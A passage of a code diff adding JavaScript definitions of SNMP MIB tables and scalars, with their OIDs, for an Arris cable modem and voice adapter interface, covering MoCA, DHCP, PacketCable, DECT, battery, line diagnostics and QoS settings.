"1.3.6.1.4.1.31621.1.1.1.6.1.14", 66); +var mocaNodeIndex = mocaNodeTable.mocaNodeIndex; +var mocaNodeMocaVersion = mocaNodeTable.mocaNodeMocaVersion; +var mocaNodeMacAddress = mocaNodeTable.mocaNodeMacAddress; +var mocaNodeTxGcdRate = mocaNodeTable.mocaNodeTxGcdRate; +var mocaNodeRxGcdPower = mocaNodeTable.mocaNodeRxGcdPower; +var mocaNodeTxPowerReduction = mocaNodeTable.mocaNodeTxPowerReduction; +var mocaNodeRxPower = mocaNodeTable.mocaNodeRxPower; +var mocaNodePreferredNC = mocaNodeTable.mocaNodePreferredNC; +var mocaNodeQAM256Capable = mocaNodeTable.mocaNodeQAM256Capable; +var mocaNodePacketsAggrCapability = mocaNodeTable.mocaNodePacketsAggrCapability; +var mocaNodeRxPackets = mocaNodeTable.mocaNodeRxPackets; +var mocaNodeRxCorrected = mocaNodeTable.mocaNodeRxCorrected; +var mocaNodeRxDrops = mocaNodeTable.mocaNodeRxDrops; +var mocaNodeSNR = mocaNodeTable.mocaNodeSNR; + +var mocaMeshTable = new Table("mocaMeshTable", "1.3.6.1.4.1.31621.1.1.1.7"); +mocaMeshTable.mocaMeshTxNodeIndex = new Column("mocaMeshTxNodeIndex", "1.3.6.1.4.1.31621.1.1.1.7.1.1", 66); +mocaMeshTable.mocaMeshRxNodeIndex = new Column("mocaMeshRxNodeIndex", "1.3.6.1.4.1.31621.1.1.1.7.1.2", 66); +mocaMeshTable.mocaMeshTxRate = new Column("mocaMeshTxRate", "1.3.6.1.4.1.31621.1.1.1.7.1.3", 66); +var mocaMeshTxNodeIndex = mocaMeshTable.mocaMeshTxNodeIndex; +var mocaMeshRxNodeIndex = mocaMeshTable.mocaMeshRxNodeIndex; +var mocaMeshTxRate = mocaMeshTable.mocaMeshTxRate; + +var mocaBridgeTable = new Table("mocaBridgeTable", "1.3.6.1.4.1.31621.1.1.1.8"); +mocaBridgeTable.mocaBridgeNodeIndex = new Column("mocaBridgeNodeIndex", "1.3.6.1.4.1.31621.1.1.1.8.1.1", 66); +mocaBridgeTable.mocaBridgeMacIndex = new Column("mocaBridgeMacIndex", "1.3.6.1.4.1.31621.1.1.1.8.1.2", 2); +mocaBridgeTable.mocaBridgeMacAddress = new Column("mocaBridgeMacAddress", "1.3.6.1.4.1.31621.1.1.1.8.1.3", 4,1); +var mocaBridgeNodeIndex = mocaBridgeTable.mocaBridgeNodeIndex; +var mocaBridgeMacIndex = mocaBridgeTable.mocaBridgeMacIndex; +var mocaBridgeMacAddress = mocaBridgeTable.mocaBridgeMacAddress; + + +var arrisMtaDevLineCardTable = new Table("arrisMtaDevLineCardTable", "1.3.6.1.4.1.4115.1.3.3.1.4.1"); +arrisMtaDevLineCardTable.LineNumber = new Column("arrisMtaDevLineCardLineNumber","1.3.6.1.4.1.4115.1.3.3.1.4.1.1.1",2); +arrisMtaDevLineCardTable.State = new Column("arrisMtaDevLineCardState","1.3.6.1.4.1.4115.1.3.3.1.4.1.1.2",2); +var arrisMtaDevLineCardLineNumber=arrisMtaDevLineCardTable.LineNumber; +var arrisMtaDevLineCardState=arrisMtaDevLineCardTable.State; + + +var arrisMtaDevDhcpMtaParameters = new Container("arrisMtaDevDhcpMtaParameters", "1.3.6.1.4.1.4115.1.3.3.1.1.2.1"); +arrisMtaDevDhcpMtaParameters.MtaIpFQDN = new Scalar("arrisMtaDevDhcpMtaIpFQDN","1.3.6.1.4.1.4115.1.3.3.1.1.2.1.1",4); +arrisMtaDevDhcpMtaParameters.MtaIpAddr = new Scalar("arrisMtaDevDhcpMtaIpAddr","1.3.6.1.4.1.4115.1.3.3.1.1.2.1.2",4,1); +arrisMtaDevDhcpMtaParameters.MtaSubNetMask = new Scalar("arrisMtaDevDhcpMtaSubNetMask","1.3.6.1.4.1.4115.1.3.3.1.1.2.1.3",4,1); +arrisMtaDevDhcpMtaParameters.MtaGatewayIpAddr = new Scalar("arrisMtaDevDhcpMtaGatewayIpAddr","1.3.6.1.4.1.4115.1.3.3.1.1.2.1.4",4,1); +arrisMtaDevDhcpMtaParameters.MtaConfigFile = new Scalar("arrisMtaDevDhcpMtaConfigFile","1.3.6.1.4.1.4115.1.3.3.1.1.2.1.5",4); +var arMtaDevDhcpMtaIpFQDN = arrisMtaDevDhcpMtaParameters.MtaIpFQDN; +var arMtaDevDhcpMtaIpAddr = arrisMtaDevDhcpMtaParameters.MtaIpAddr; +var arMtaDevDhcpMtaSubNetMask = arrisMtaDevDhcpMtaParameters.MtaSubNetMask; +var arMtaDevDhcpMtaGatewayIpAddr = arrisMtaDevDhcpMtaParameters.MtaGatewayIpAddr; +var arMtaDevDhcpMtaConfigFile = arrisMtaDevDhcpMtaParameters.MtaConfigFile; + + +var arrisMtaDevDhcpLeaseParameters = new Container("arrisMtaDevDhcpLeaseParameters", "1.3.6.1.4.1.4115.1.3.3.1.1.2.3"); +arrisMtaDevDhcpLeaseParameters.OfferedLeaseTime = new Scalar("arrisMtaDevDhcpOfferedLeaseTime","1.3.6.1.4.1.4115.1.3.3.1.1.2.3.1",4,1); +arrisMtaDevDhcpLeaseParameters.LeaseTimeRemaining = new Scalar("arrisMtaDevDhcpLeaseTimeRemaining","1.3.6.1.4.1.4115.1.3.3.1.1.2.3.2",4,1); +arrisMtaDevDhcpLeaseParameters.TimeUntilRenew = new Scalar("arrisMtaDevDhcpTimeUntilRenew","1.3.6.1.4.1.4115.1.3.3.1.1.2.3.3",4,1); +arrisMtaDevDhcpLeaseParameters.TimeUntilRebind = new Scalar("arrisMtaDevDhcpTimeUntilRebind","1.3.6.1.4.1.4115.1.3.3.1.1.2.3.4",4,1); +var arMtaDevDhcpOfferedLeaseTime = arrisMtaDevDhcpLeaseParameters.OfferedLeaseTime; +var arMtaDevDhcpLeaseTimeRemaining = arrisMtaDevDhcpLeaseParameters.LeaseTimeRemaining; +var arMtaDevDhcpTimeUntilRenew = arrisMtaDevDhcpLeaseParameters.TimeUntilRenew; +var arMtaDevDhcpTimeUntilRebind = arrisMtaDevDhcpLeaseParameters.TimeUntilRebind; + +var arrisMtaDevDhcpSvrParameters = new Container("arrisMtaDevDhcpSvrParameters", "1.3.6.1.4.1.4115.1.3.3.1.1.2.2"); +arrisMtaDevDhcpSvrParameters.PrimaryDNSSvrIpAddr = new Scalar("arrisMtaDevDhcpPrimaryDNSSvrIpAddr","1.3.6.1.4.1.4115.1.3.3.1.1.2.2.4",4,1); +arrisMtaDevDhcpSvrParameters.SecondaryDNSSvrIpAddr = new Scalar("arrisMtaDevDhcpSecondaryDNSSvrIpAddr","1.3.6.1.4.1.4115.1.3.3.1.1.2.2.5",4,1); +var arMtaDevDhcpPrimaryDNSSvrIpAddr = arrisMtaDevDhcpSvrParameters.PrimaryDNSSvrIpAddr; +var arMtaDevDhcpSecondaryDNSSvrIpAddr = arrisMtaDevDhcpSvrParameters.SecondaryDNSSvrIpAddr; + +var arrisMtaDevDhcpPktcOptParameters = new Container("arrisMtaDevDhcpPktcOptParameters", "1.3.6.1.4.1.4115.1.3.3.1.1.2.4"); +arrisMtaDevDhcpPktcOptParameters.SvcProviderSnmpEntity = new Scalar("arrisMtaDevDhcpSvcProviderSnmpEntity","1.3.6.1.4.1.4115.1.3.3.1.1.2.4.2",4,1); +arrisMtaDevDhcpPktcOptParameters.KerberosRealmFqdn = new Scalar("arrisMtaDevDhcpKerberosRealmFqdn","1.3.6.1.4.1.4115.1.3.3.1.1.2.4.3",4,1); +arrisMtaDevDhcpPktcOptParameters.RequestTgt = new Scalar("arrisMtaDevDhcpRequestTgt","1.3.6.1.4.1.4115.1.3.3.1.1.2.4.4",4); +arrisMtaDevDhcpPktcOptParameters.ProvTimer = new Scalar("arrisMtaDevDhcpProvTimer","1.3.6.1.4.1.4115.1.3.3.1.1.2.4.5",2); +var arMtaDevDhcpSvcProviderSnmpEntity = arrisMtaDevDhcpPktcOptParameters.SvcProviderSnmpEntity; +var arMtaDevDhcpKerberosRealmFqdn = arrisMtaDevDhcpPktcOptParameters.KerberosRealmFqdn; +var arMtaDevDhcpRequestTgt = arrisMtaDevDhcpPktcOptParameters.RequestTgt; +var arMtaDevDhcpProvTimer = arrisMtaDevDhcpPktcOptParameters.ProvTimer; + +var pktcMtaDevBase = new Container("pktcMtaDevBase", "1.3.6.1.4.1.4491.2.2.1.1.1"); +pktcMtaDevBase.Enabled = new Scalar("pktcMtaDevEnabled", "1.3.6.1.4.1.4491.2.2.1.1.1.7",2); +var pktcMtaDevEnabled = pktcMtaDevBase.Enabled; + +var pktcSigDevConfigObjects = new Container("pktcSigDevConfigObjects", "1.3.6.1.4.1.4491.2.2.2.1.1"); +pktcSigDevConfigObjects.DefCallSigTos = new Scalar("pktcSigDefCallSigTos", "1.3.6.1.4.1.4491.2.2.2.1.1.8",2); +pktcSigDevConfigObjects.DefMediaStreamTos = new Scalar("pktcSigDefMediaStreamTos", "1.3.6.1.4.1.4491.2.2.2.1.1.9",2); +var pktcSigDefCallSigTos = pktcSigDevConfigObjects.DefCallSigTos; +var pktcSigDefMediaStreamTos = pktcSigDevConfigObjects.DefMediaStreamTos; + +var pktcMtaDevRealmEntry = new Container("pktcMtaDevRealmEntry", "1.3.6.1.4.1.4491.2.2.1.1.3.16.1"); +pktcMtaDevRealmEntry.OrgName = new Scalar("pktcMtaDevRealmOrgName", "1.3.6.1.4.1.4491.2.2.1.1.3.16.1.4",4); +pktcMtaDevRealmEntry.PkinitGracePeriod = new Scalar("pktcMtaDevRealmPkinitGracePeriod ", "1.3.6.1.4.1.4491.2.2.1.1.3.16.1.2",2); +var pktcMtaDevRealmOrgName = pktcMtaDevRealmEntry.OrgName; +var pktcMtaDevRealmPkinitGracePeriod = pktcMtaDevRealmEntry.PkinitGracePeriod; + +var pktcMtaDevCmsEntry = new Container("pktcMtaDevCmsEntry", "1.3.6.1.4.1.4491.2.2.1.1.3.17.1"); +pktcMtaDevCmsEntry.KerbRealmName = new Scalar("pktcMtaDevCmsKerbRealmName", "1.3.6.1.4.1.4491.2.2.1.1.3.17.1.2",4); +pktcMtaDevCmsEntry.SolicitedKeyTimeout = new Scalar("pktcMtaDevCmsSolicitedKeyTimeout", "1.3.6.1.4.1.4491.2.2.1.1.3.17.1.4",2); +pktcMtaDevCmsEntry.IpsecCtrl = new Scalar("pktcMtaDevCmsIpsecCtrl", "1.3.6.1.4.1.4491.2.2.1.1.3.17.1.10",2); +var pktcMtaDevCmsKerbRealmName = pktcMtaDevCmsEntry.KerbRealmName; +var pktcMtaDevCmsSolicitedKeyTimeout = pktcMtaDevCmsEntry.SolicitedKeyTimeout; +var pktcMtaDevCmsIpsecCtrl = pktcMtaDevCmsEntry.IpsecCtrl; + +var pktcNcsEndPntConfigEntry = new Container("pktcNcsEndPntConfigEntry", "1.3.6.1.4.1.4491.2.2.2.1.2.1.1"); +pktcNcsEndPntConfigEntry.CallAgentId = new Scalar("pktcNcsEndPntConfigCallAgentId", "1.3.6.1.4.1.4491.2.2.2.1.2.1.1.1",4); +pktcNcsEndPntConfigEntry.CallAgentUdpPort = new Scalar("pktcNcsEndPntConfigCallAgentUdpPort", "1.3.6.1.4.1.4491.2.2.2.1.2.1.1.2",2); +pktcNcsEndPntConfigEntry.MWD = new Scalar("pktcNcsEndPntConfigMWD", "1.3.6.1.4.1.4491.2.2.2.1.2.1.1.18",2); +var pktcNcsEndPntConfigCallAgentId = pktcNcsEndPntConfigEntry.CallAgentId; +var pktcNcsEndPntConfigCallAgentUdpPort = pktcNcsEndPntConfigEntry.CallAgentUdpPort; +var pktcNcsEndPntConfigMWD = pktcNcsEndPntConfigEntry.MWD; + + +var docsDevEventTable = new Table("docsDevEventTable", "1.3.6.1.2.1.69.1.5.8"); +docsDevEventTable.EvFirstTime = new Column("docsDevEvFirstTime","1.3.6.1.2.1.69.1.5.8.1.2",4,1); +docsDevEventTable.EvLastTime = new Column("docsDevEvLastTime","1.3.6.1.2.1.69.1.5.8.1.3",4,1); +docsDevEventTable.EvText = new Column("docsDevEvText","1.3.6.1.2.1.69.1.5.8.1.7",4); +var docsDevEvFirstTime=docsDevEventTable.EvFirstTime; +var docsDevEvLastTime=docsDevEventTable.EvLastTime; +var docsDevEvText=docsDevEventTable.EvText; + + + +// + + +//battery + + +// +var upsBattery = new Container("upsBattery", "1.3.6.1.2.1.33.1.2"); +upsBattery.upsBatteryStatus = new Scalar("upsBatteryStatus", "1.3.6.1.2.1.33.1.2.1", 2); + +var MtaDevBatteryStatusTable = new Table("MtaDevBatteryStatusTable", "1.3.6.1.4.1.4115.1.3.3.1.3.5.3"); +MtaDevBatteryStatusTable.MtaDevBatteryOperState = new Column("MtaDevBatteryOperState", "1.3.6.1.4.1.4115.1.3.3.1.3.5.3.1.2", 2); +MtaDevBatteryStatusTable.MtaDevBatteryOperSubState = new Column("MtaDevBatteryOperSubState", "1.3.6.1.4.1.4115.1.3.3.1.3.5.3.1.4", 4,1); +MtaDevBatteryStatusTable.MtaDevBatteryOrderingCode = new Column("MtaDevBatteryOrderingCode", "1.3.6.1.4.1.4115.1.3.3.1.3.5.3.1.5", 4,1); +MtaDevBatteryStatusTable.MtaDevBatteryEprom = new Column("MtaDevBatteryEprom", "1.3.6.1.4.1.4115.1.3.3.1.3.5.3.1.6", 4,1); + +var MtaDevPwrSupplyStats = new Container("MtaDevPwrSupplyStats", "1.3.6.1.4.1.4115.1.3.3.1.3.5"); +MtaDevPwrSupplyStats.MtaDevPwrSupplyBatRatedMinutes = new Scalar("MtaDevPwrSupplyBatRatedMinutes", "1.3.6.1.4.1.4115.1.3.3.1.3.5.10", 2); +MtaDevPwrSupplyStats.MtaDevPwrSupplyBatAvailableMinutes = new Scalar("MtaDevPwrSupplyBatAvailableMinutes", "1.3.6.1.4.1.4115.1.3.3.1.3.5.11", 2); +// scm ChengTa Lee x2 +MtaDevPwrSupplyStats.MtaDevPwrSupplyRatedBatCapacity = new Scalar("MtaDevPwrSupplyRatedBatCapacity", "1.3.6.1.4.1.4115.1.3.3.1.3.5.5", 2); +MtaDevPwrSupplyStats.MtaDevPwrSupplyTestedBatCapacity = new Scalar("MtaDevPwrSupplyTestedBatCapacity", "1.3.6.1.4.1.4115.1.3.3.1.3.5.6", 2); +// scm ChengTa Lee +var MtaDevTrace = new Container("MtaDevTrace", "1.3.6.1.4.1.4115.1.3.3.1.1.1.2"); +MtaDevTrace.MtaDevEstimatedMinutesRemaining = new Scalar("MtaDevEstimatedMinutesRemaining", "1.3.6.1.4.1.4115.1.3.3.1.1.1.2.44", 2); +MtaDevTrace.MtaDevEstimatedChargeRemaining = new Scalar("MtaDevEstimatedChargeRemaining", "1.3.6.1.4.1.4115.1.3.3.1.1.1.2.45", 2); +// scm ChengTa Lee x2 +var arrisMtaDevPwrSupplyRatedBatCapacity = MtaDevPwrSupplyStats.MtaDevPwrSupplyRatedBatCapacity; +var arrisMtaDevPwrSupplyTestedBatCapacity = MtaDevPwrSupplyStats.MtaDevPwrSupplyTestedBatCapacity; +var upsBatteryStatus = upsBattery.upsBatteryStatus; +var arMtaDevBatteryOperState = MtaDevBatteryStatusTable.MtaDevBatteryOperState; +var arMtaDevBatteryOperSubState = MtaDevBatteryStatusTable.MtaDevBatteryOperSubState; +var arMtaDevBatteryOrderingCode = MtaDevBatteryStatusTable.MtaDevBatteryOrderingCode; +var arMtaDevBatteryEprom = MtaDevBatteryStatusTable.MtaDevBatteryEprom; +var arMtaDevPwrSupplyBatRatedMinutes = MtaDevPwrSupplyStats.MtaDevPwrSupplyBatRatedMinutes; +var arMtaDevPwrSupplyBatAvailableMinutes = MtaDevPwrSupplyStats.MtaDevPwrSupplyBatAvailableMinutes; +var arMtaDevEstimatedMinutesRemaining = MtaDevTrace.MtaDevEstimatedMinutesRemaining; +var arMtaDevEstimatedChargeRemaining = MtaDevTrace.MtaDevEstimatedChargeRemaining; + +var DectConfiguration = new Container("arrisDectConfiguration", "1.3.6.1.4.1.4115.1.3.13.1"); +DectConfiguration.DectBaseStatus = new Scalar("arrisDectBaseStatus","1.3.6.1.4.1.4115.1.3.13.1.1",4,1); +DectConfiguration.DectBaseDectModuleHwVersion = new Scalar("arrisDectBaseDectModuleHwVersion","1.3.6.1.4.1.4115.1.3.13.1.2",4); +DectConfiguration.DectCfgFwVersion = new Scalar("arrisDectCfgFwVersion","1.3.6.1.4.1.4115.1.3.13.1.7",4); + +DectConfiguration.DectBaseRFPI = new Scalar("arrisDectBaseRFPI","1.3.6.1.4.1.4115.1.3.13.1.3",4); +DectConfiguration.DectCfgRegistrationMode = new Scalar("arrisDectCfgRegistrationMode","1.3.6.1.4.1.4115.1.3.13.1.4",2); +DectConfiguration.DectCfgPortInterfaceIndex = new Scalar("arDectCfgPortInterfaceIndex","1.3.6.1.4.1.4115.1.3.13.1.11",2); +// scm add start x2 +DectConfiguration.DectCatiqOnOff = new Scalar("arDectCatiqOnOff","1.3.6.1.4.1.4115.1.3.13.1.10",2); +DectConfiguration.DectBasePin = new Scalar("arDectBasePin","1.3.6.1.4.1.4115.1.3.13.1.5",4); +var arDectCatiqOnOff=DectConfiguration.DectCatiqOnOff; +var arDectBasePin=DectConfiguration.DectBasePin; +// scm add end +var arDectBaseStatus=DectConfiguration.DectBaseStatus; +var arDectBaseDectModuleHwVersion=DectConfiguration.DectBaseDectModuleHwVersion; +var arDectCfgFwVersion=DectConfiguration.DectCfgFwVersion; +var arDectBaseRFPI=DectConfiguration.DectBaseRFPI; +var arDectCfgRegistrationMode=DectConfiguration.DectCfgRegistrationMode; +var arDectCfgPortInterfaceIndex=DectConfiguration.DectCfgPortInterfaceIndex; + +var pktcMdiMdiTable = new Table("pktcMdiMdiTable", "1.3.6.1.4.1.4491.2.2.8.6.1.1"); +pktcMdiMdiTable.MdiMdiName = new Column("pktcMdiMdiName","1.3.6.1.4.1.4491.2.2.8.6.1.1.1.2",4); +var pktcMdiMdiName = pktcMdiMdiTable.MdiMdiName; + +// scm table +var pktcMdiNslPortListTable = new Table("pktcMdiNslPortListTable", "1.3.6.1.4.1.4491.2.2.8.6.1.2"); +pktcMdiNslPortListTable.pktcMdiNslPortListIn = new Column("pktcMdiNslPortListIn", "1.3.6.1.4.1.4491.2.2.8.6.1.2.1.3", 4); +var arpktcMdiNslPortListIn = pktcMdiNslPortListTable.pktcMdiNslPortListIn; +// scm container +var DectCfgPinBase = new Container("DectCfgPinBase", "1.3.6.1.4.1.4115.1.3.13.1"); +DectCfgPinBase.DectCfgPinCode = new Scalar("DectCfgPinCode","1.3.6.1.4.1.4115.1.3.13.1.5",4,1); +var arDectCfgPinCode = DectCfgPinBase.DectCfgPinCode; + +var DectCfgHsTable = new Table("arrisDectCfgHsTable", "1.3.6.1.4.1.4115.1.3.13.2"); +DectCfgHsTable.CfgHsRegisteredTn = new Column("arrisDectCfgHsRegisteredTn","1.3.6.1.4.1.4115.1.3.13.2.1.1",2); +DectCfgHsTable.CfgHsLastActivity = new Column("arrisDectCfgHsLastActivity","1.3.6.1.4.1.4115.1.3.13.2.1.2",2); +DectCfgHsTable.CfgHsDeregister = new Column("arrisDectCfgHsDeregister","1.3.6.1.4.1.4115.1.3.13.2.1.3",2); +DectCfgHsTable.CfgHsStatus = new Column("arrisDectCfgHsStatus","1.3.6.1.4.1.4115.1.3.13.2.1.4",2); +DectCfgHsTable.CfgHsName = new Column("arrisDectCfgHsName","1.3.6.1.4.1.4115.1.3.13.2.1.5",4); +var arDectCfgHsRegisteredTn = DectCfgHsTable.CfgHsRegisteredTn; +var arDectCfgHsLastActivity = DectCfgHsTable.CfgHsLastActivity; +var arDectCfgHsDeregister = DectCfgHsTable.CfgHsDeregister; +var arDectCfgHsStatus = DectCfgHsTable.CfgHsStatus; +var arDectCfgHsName = DectCfgHsTable.CfgHsName; + +var DectCfgMdiTable = new Table("arrisDectCfgHsTable", "1.3.6.1.4.1.4115.1.3.13.3"); +DectCfgMdiTable.DectCfgMdiToNsl = new Column("arrisDectCfgMdiToNsl","1.3.6.1.4.1.4115.1.3.13.3.1.1",66); +var arDectCfgMdiToNsl = DectCfgMdiTable.DectCfgMdiToNsl; + +var pktcDectPPTable = new Table("pktcDectPPTable", "1.3.6.1.4.1.4491.2.2.8.4.1.8"); +pktcDectPPTable.PPStatus = new Column("pktcDectPPStatus","1.3.6.1.4.1.4491.2.2.8.4.1.8.1.4",2); +pktcDectPPTable.PPRegCtrl = new Column("pktcDectPPRegCtrl","1.3.6.1.4.1.4491.2.2.8.4.1.8.1.5",2); +var pktcDectPPStatus = pktcDectPPTable.PPStatus; +var pktcDectPPRegCtrl = pktcDectPPTable.PPRegCtrl; + +// +// MTA > Line Diagnostics +// +var MtaDevDiagLoopTable = new Table("MtaDevDiagLoopTable", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1"); +MtaDevDiagLoopTable.MtaDevDiagLoopRequest = new Column("MtaDevDiagLoopRequest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.3", 2); +MtaDevDiagLoopTable.MtaDevDiagLoopLastResult = new Column("MtaDevDiagLoopLastResult", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.4", 2); +MtaDevDiagLoopTable.MtaDevDiagLoopHazardousPotentialTest = new Column("MtaDevDiagLoopHazardousPotentialTest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.5", 4); +MtaDevDiagLoopTable.MtaDevDiagLoopForeignEmfTest = new Column("MtaDevDiagLoopForeignEmfTest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.6", 4); +MtaDevDiagLoopTable.MtaDevDiagLoopResistiveFaultsTest = new Column("MtaDevDiagLoopResistiveFaultsTest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.7", 4); +MtaDevDiagLoopTable.MtaDevDiagLoopReceiverOffHookTest = new Column("MtaDevDiagLoopReceiverOffHookTest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.8", 4); +MtaDevDiagLoopTable.MtaDevDiagLoopRingerTest = new Column("MtaDevDiagLoopRingerTest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.9", 4); +MtaDevDiagLoopTable.MtaDevDiagLoopForceRequest = new Column("MtaDevDiagLoopForceRequest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.10", 2); +var arMtaDevDiagLoopRequest = MtaDevDiagLoopTable.MtaDevDiagLoopRequest; +var arMtaDevDiagLoopLastResult = MtaDevDiagLoopTable.MtaDevDiagLoopLastResult; +var arMtaDevDiagLoopHazardousPotentialTest = MtaDevDiagLoopTable.MtaDevDiagLoopHazardousPotentialTest; +var arMtaDevDiagLoopForeignEmfTest = MtaDevDiagLoopTable.MtaDevDiagLoopForeignEmfTest; +var arMtaDevDiagLoopResistiveFaultsTest = MtaDevDiagLoopTable.MtaDevDiagLoopResistiveFaultsTest; +var arMtaDevDiagLoopReceiverOffHookTest = MtaDevDiagLoopTable.MtaDevDiagLoopReceiverOffHookTest; +var arMtaDevDiagLoopRingerTest = MtaDevDiagLoopTable.MtaDevDiagLoopRingerTest; +var arMtaDevDiagLoopForceRequest = MtaDevDiagLoopTable.MtaDevDiagLoopForceRequest; + + +// +// MTA > Service Flow +// +var docsQosServiceFlowTable = new Table("docsQosServiceFlowTable", "1.3.6.1.4.1.4491.2.1.21.1.3"); +//docsQosServiceFlowTable.SID = new Column("docsQosServiceFlowSID", "1.3.6.1.2.1.10.127.7.1.3.1.6", 66); +//docsQosServiceFlowTable.Direction = new Column("docsQosServiceFlowDirection", "1.3.6.1.2.1.10.127.7.1.3.1.7", 2); +docsQosServiceFlowTable.SID = new Column("docsQosServiceFlowSID", "1.3.6.1.4.1.4491.2.1.21.1.3.1.6", 66); +docsQosServiceFlowTable.Direction = new Column("docsQosServiceFlowDirection", "1.3.6.1.4.1.4491.2.1.21.1.3.1.7", 2); +var docsQosServiceFlowSID = docsQosServiceFlowTable.SID; +var docsQosServiceFlowDirection = docsQosServiceFlowTable.Direction; + +var docsQosParamSetTable = new Table("docsQosParamSetTable", "1.3.6.1.4.1.4491.2.1.21.1.2"); +//docsQosParamSetTable.SchedulingType = new Column("docsQosParamSetSchedulingType", "1.3.6.1.2.1.10.127.7.1.2.1.13", 2); +//docsQosParamSetTable.NomGrantInterval = new Column("docsQosParamSetNomGrantInterval", "1.3.6.1.2.1.10.127.7.1.2.1.18", 66); +//docsQosParamSetTable.UnsolicitGrantSize = new Column("docsQosParamSetUnsolicitGrantSize", "1.3.6.1.2.1.10.127.7.1.2.1.17", 2); +//docsQosParamSetTable.TolGrantJitter = new Column("docsQosParamSetTolGrantJitter", "1.3.6.1.2.1.10.127.7.1.2.1.19", 66); +//docsQosParamSetTable.NomPollInterval = new Column("docsQosParamSetNomPollInterval", "1.3.6.1.2.1.10.127.7.1.2.1.15", 66); +//docsQosParamSetTable.MinReservedPkt = new Column("docsQosParamSetMinReservedPkt", "1.3.6.1.2.1.10.127.7.1.2.1.9", 2); +//docsQosParamSetTable.MaxTrafficRate = new Column("docsQosParamSetMaxTrafficRate", "1.3.6.1.2.1.10.127.7.1.2.1.6", 66); +//docsQosParamSetTable.MinReservedRate = new Column("docsQosParamSetMinReservedRate", "1.3.6.1.2.1.10.127.7.1.2.1.8", 66); +//docsQosParamSetTable.MaxTrafficBurst = new Column("docsQosParamSetMaxTrafficBurst", "1.3.6.1.2.1.10.127.7.1.2.1.7", 66); +docsQosParamSetTable.SchedulingType = new Column("docsQosParamSetSchedulingType", "1.3.6.1.4.1.4491.2.1.21.1.2.1.13", 2); +docsQosParamSetTable.NomGrantInterval = new Column("docsQosParamSetNomGrantInterval", "1.3.6.1.4.1.4491.2.1.21.1.2.1.17", 66); +docsQosParamSetTable.UnsolicitGrantSize = new Column("docsQosParamSetUnsolicitGrantSize", "1.3.6.1.4.1.4491.2.1.21.1.2.1.16", 2); +docsQosParamSetTable.TolGrantJitter = new Column("docsQosParamSetTolGrantJitter", "1.3.6.1.4.1.4491.2.1.21.1.2.1.18", 66); +docsQosParamSetTable.NomPollInterval = new Column("docsQosParamSetNomPollInterval", "1.3.6.1.4.1.4491.2.1.21.1.2.1.14", 66); +docsQosParamSetTable.MinReservedPkt = new Column("docsQosParamSetMinReservedPkt", "1.3.6.1.4.1.4491.2.1.21.1.2.1.9", 2); +docsQosParamSetTable.MaxTrafficRate = new Column("docsQosParamSetMaxTrafficRate", "1.3.6.1.4.1.4491.2.1.21.1.2.1.6", 66); +docsQosParamSetTable.MinReservedRate = new Column("docsQosParamSetMinReservedRate", "1.3.6.1.4.1.4491.2.1.21.1.2.1.8", 66); +docsQosParamSetTable.MaxTrafficBurst = new Column("docsQosParamSetMaxTrafficBurst", "1.3.6.1.4.1.4491.2.1.21.1.2.1.7", 66); +var docsQosParamSetSchedulingType = docsQosParamSetTable.SchedulingType; +var docsQosParamSetNomGrantInterval = docsQosParamSetTable.NomGrantInterval; +var docsQosParamSetUnsolicitGrantSize = docsQosParamSetTable.UnsolicitGrantSize; +var docsQosParamSetTolGrantJitter = docsQosParamSetTable.TolGrantJitter; +var docsQosParamSetNomPollInterval = docsQosParamSetTable.NomPollInterval; +var docsQosParamSetMinReservedPkt = docsQosParamSetTable.MinReservedPkt; +var docsQosParamSetMaxTrafficRate = docsQosParamSetTable.MaxTrafficRate; +var docsQosParamSetMinReservedRate = docsQosParamSetTable.MinReservedRate; +var docsQosParamSetMaxTrafficBurst = docsQosParamSetTable.MaxTrafficBurst; + + +// +// CallP / QoS +// +var MtaDevLineCardTable = new Table("MtaDevLineCardTable", "1.3.6.1.4.1.4115.1.3.3.1.4.1"); +MtaDevLineCardTable.State = new Column("MtaDevLineCardState", "1.3.6.1.4.1.4115.1.3.3.1.4.1.1.2", 2); +var arMtaDevLineCardState = MtaDevLineCardTable.State; + +var ppCfgPortTable = new Table("ppCfgPortTable", "1.3.6.1.4.1.4115.10.1.1"); +ppCfgPortTable.LoopCurrent = new Column("ppCfgPortLoopCurrent", "1.3.6.1.4.1.4115.10.1.1.1.6", 2); +var ppCfgPortLoopCurrent = ppCfgPortTable.LoopCurrent; + +var MtaDevOperationalSetup = new Container("MtaDevOperationalSetup", "1.3.6.1.4.1.4115.1.3.3.1.2.3"); +MtaDevOperationalSetup.EnableMGCPLog = new Scalar("MtaDevOperationalSetupEnableMGCPLog", "1.3.6.1.4.1.4115.1.3.3.1.2.3.34", 2); +MtaDevOperationalSetup.ClearMGCPLog = new Scalar("MtaDevOperationalSetupClearMGCPLog", "1.3.6.1.4.1.4115.1.3.3.1.2.3.36", 2); +var arMtaDevOperationalSetupEnableMGCPLog = MtaDevOperationalSetup.EnableMGCPLog; +var arMtaDevOperationalSetupClearMGCPLog = MtaDevOperationalSetup.ClearMGCPLog; + +var MtaDevEndPnt = new Table("MtaDevEndPnt", "1.3.6.1.4.1.4115.1.3.3.1.2.4.3"); +MtaDevEndPnt.CallPState = new Column("MtaDevEndPntCallPState", "1.3.6.1.4.1.4115.1.3.3.1.2.4.3.1.37", 2); +var arMtaDevEndPntCallPState = MtaDevEndPnt.CallPState; + +var MtaDispSignal = new Table("MtaDispSignal", "1.3.6.1.4.1.4115.1.3.3.1.5.1"); +MtaDispSignal.Log = new Column("MtaDispSignalLog", "1.3.6.1.4.1.4115.1.3.3.1.5.1.1.2", 4); +var arMtaDispSignalLog = MtaDispSignal.Log; + +var MtadocsQosService = new Table("MtadocsQosService", "1.3.6.1.4.1.4115.1.3.3.1.6.1"); +MtadocsQosService.FlowID = new Column("MtadocsQosServiceFlowID", "1.3.6.1.4.1.4115.1.3.3.1.6.1.1.2", 2); +MtadocsQosService.ClassName = new Column("MtadocsQosServiceClassName", "1.3.6.1.4.1.4115.1.3.3.1.6.1.1.3", 4); 